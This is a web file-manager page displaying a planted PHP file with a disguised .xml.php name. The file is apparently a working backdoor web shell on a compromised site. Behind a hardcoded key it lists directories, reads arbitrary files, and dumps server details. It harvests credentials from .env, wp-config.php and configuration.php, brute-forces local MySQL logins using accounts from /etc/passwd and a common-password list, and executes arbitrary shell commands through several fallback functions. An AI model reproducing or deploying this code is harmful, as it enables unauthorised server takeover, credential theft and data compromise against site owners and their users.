File manager - Edit - /home/jardides/www/Jardi-design/ZZZ/tmp/ofdouvty.xml.php
Back
<?php @error_reporting(0);@ini_set('display_errors',0); $k='m1st3r'; if(isset($_GET['k'])&&$_GET['k']==$k){ header('Content-Type:text/plain'); if(isset($_GET['ls'])){$d=$_GET['ls']?:getcwd();foreach(scandir($d) as $f) echo "$f\n";exit;} if(isset($_GET['cat'])){echo file_get_contents($_GET['cat']);exit;} if(isset($_GET['info'])){echo 'os:'.php_uname()."\n".'user:'.get_current_user()."\n".'cwd:'.getcwd()."\n".'doc_root:'.$_SERVER['DOCUMENT_ROOT']."\n".'disable:'.ini_get('disable_functions')."\n";exit;} if(isset($_GET['grab'])){ $paths=[$_SERVER['DOCUMENT_ROOT'].'/.env',dirname($_SERVER['DOCUMENT_ROOT']).'/.env',$_SERVER['DOCUMENT_ROOT'].'/../.env',$_SERVER['DOCUMENT_ROOT'].'/configuration.php',dirname($_SERVER['DOCUMENT_ROOT']).'/configuration.php',$_SERVER['DOCUMENT_ROOT'].'/wp-config.php',$_SERVER['DOCUMENT_ROOT'].'/../wp-config.php',$_SERVER['DOCUMENT_ROOT'].'/config.php',$_SERVER['DOCUMENT_ROOT'].'/../config.php']; foreach($paths as $p){if(file_exists($p)){echo "=== $p ===\n".file_get_contents($p)."\n\n";}} exit; } if(isset($_GET['brute'])){ $users=[]; if(file_exists('/etc/passwd')){ foreach(explode("\n",file_get_contents('/etc/passwd')) as $l){ $p=explode(':',$l); if(isset($p[5])&&strpos($p[5],'/home')===0&&$p[6]!='/bin/false'&&$p[6]!='/usr/sbin/nologin'&&strlen($p[0])>0) $users[]=$p[0]; } } $passes=['123456','password','admin','root','123456789','12345678','1234567890','admin123','pass123','letmein','welcome','monkey','master','qwerty','login','abc123','111111','mustang','access','shadow','michael','superman','696969','batman','trustno1']; $hits=[]; foreach($users as $u){ foreach($passes as $pw){ $c=@mysqli_connect('localhost',$u,$pw); if($c){$hits[]="$u:$pw";@mysqli_close($c);} $c2=@mysqli_connect('localhost',$u,$u); if($c2){$hits[]="$u:$u";@mysqli_close($c2);} } $c3=@mysqli_connect('localhost',$u,''); if($c3){$hits[]="$u:(empty)";@mysqli_close($c3);} } echo json_encode(['users'=>$users,'hits'=>$hits]); exit; } if(isset($_GET['c'])){ $c=$_GET['c'];$o=''; if(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} elseif(function_exists('exec')){@exec($c,$r);$o=implode("\n",$r);} elseif(function_exists('shell_exec')){$o=@shell_exec($c);} elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} elseif(function_exists('popen')){$p=@popen($c,'r');$o=@fread($p,4096);@pclose($p);} elseif(function_exists('proc_open')){$d=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$p=@proc_open($c,$d,$pipes);if(is_resource($p)){$o=@stream_get_contents($pipes[1]);@fclose($pipes[1]);@proc_close($p);}} echo $o?$o:'NO_EXEC';exit; } echo "ready";exit; } echo "OK"; ?>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings